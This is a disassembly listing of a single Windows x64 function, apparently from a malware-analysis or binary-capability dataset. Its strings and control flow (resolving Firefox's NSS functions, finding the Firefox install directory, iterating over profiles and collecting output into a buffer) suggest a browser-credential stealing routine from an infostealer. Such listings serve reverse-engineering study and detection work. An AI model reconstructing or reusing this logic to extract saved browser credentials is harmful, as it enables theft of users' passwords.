Function at 0x1400024f0
Capabilities:
Get common file path
Set current directory

Disassembly:
sub rsp, 0x508
mov rax, qword [0x1400f1290]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
lea rax, [0x1400d6a00]
mov qword [rsp + 0x2e0], rax
lea rax, str.ENCWCHAR_Profile_d
mov qword [rsp + 0x2e8], rax
lea rax, str.ENCWCHAR_ResolveNSSFunctions___failed.
mov qword [rsp + 0x2f0], rax
lea rax, str.ENCWCHAR_LocalAlloc___failed.
mov qword [rsp + 0x2f8], rax
lea rax, str.ENCWCHAR_GetFirefoxInstallDirectory___failed.
mov qword [rsp + 0x300], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x2c0], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x2c8], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x2d0], rax
mov dword [rsp + 0x4b0], 0
jmp 0x1400025be
mov eax, dword [rsp + 0x4b0]
inc eax
mov dword [rsp + 0x4b0], eax
movsxd rax, dword [rsp + 0x4b0]
cmp rax, 5
jae 0x14000260f
movsxd rax, dword [rsp + 0x4b0]
movsxd rcx, dword [rsp + 0x4b0]
mov dword [rsp + 0x28], 0x64
mov rax, qword [rsp + rax*8 + 0x2b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 8
mov edx, dword [0x1400f36f4]
mov rcx, qword [rsp + rcx*8 + 0x2e0]
call fcn.14000e1b0
jmp 0x1400025ae
mov qword [rsp + 0x2d8], 0
mov edx, 0x30d40
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x2d8], rax
cmp qword [rsp + 0x2d8], 0
je 0x140002920
call fcn.140001fc0
mov dword [rsp + 0x4b4], eax
cmp dword [rsp + 0x4b4], 0x40
jne 0x140002916
mov dword [rsp + 0x4b8], 0
call fcn.140001e70
mov qword [rsp + 0x4c0], rax
cmp qword [rsp + 0x4c0], 0
je 0x1400028df
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x4c8], rax
cmp qword [rsp + 0x4c8], 0
je 0x14000289b
mov r8, qword [rsp + 0x4c0]
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x4c8]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x4d0], rax
cmp qword [rsp + 0x4d0], 0
je 0x14000288b
mov rdx, qword [rsp + 0x4d0]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x14000287d
mov rcx, qword [rsp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 1
jne 0x14000287d
mov rcx, qword [rsp + 0x4c8]
call fcn.1400022a0
cmp eax, 1
jne 0x140002838
mov edx, 0x2710
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x4e0], rax
cmp qword [rsp + 0x4e0], 0
je 0x140002836
mov dword [rsp + 0x4ec], 0
jmp 0x14000277b
mov eax, dword [rsp + 0x4ec]
inc eax
mov dword [rsp + 0x4ec], eax
cmp dword [rsp + 0x4ec], 3
jge 0x140002828
mov r8d, dword [rsp + 0x4ec]
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x4e0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x4e8]
mov rcx, qword [rsp + 0x4e0]
call fcn.1400034b0
mov qword [rsp + 0x4d8], rax
cmp qword [rsp + 0x4d8], 0
je 0x140002823
mov eax, dword [rsp + 0x4e8]
movsxd rcx, dword [rsp + 0x4b8]
mov rdx, qword [rsp + 0x2d8]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, qword [rsp + 0x4d8]
call fcn.1400c2b10
mov eax, dword [rsp + 0x4e8]
mov ecx, dword [rsp + 0x4b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b8], eax
mov rcx, qword [rsp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14000276b
mov rcx, qword [rsp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14000286f
movsxd rax, dword [rsp + 0x4b8]
mov rcx, qword [rsp + 0x2d8]
lea rax, [rcx + rax*2]
lea rdx, [rsp + 0x3e0]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x4b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b8], eax
mov rcx, qword [rsp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov rcx, qword [rsp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x4c8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400028cf
movsxd rax, dword [rsp + 0x4b8]
mov rcx, qword [rsp + 0x2d8]
lea rax, [rcx + rax*2]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x4b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b8], eax
mov rcx, qword [rsp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002916
movsxd rax, dword [rsp + 0x4b8]
mov rcx, qword [rsp + 0x2d8]
lea rax, [rcx + rax*2]
lea rdx, [rsp + 0x310]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [rsp + 0x4b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b8], eax
mov rax, qword [rsp + 0x2d8]
jmp 0x140002922
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1400c2a80
add rsp, 0x508
ret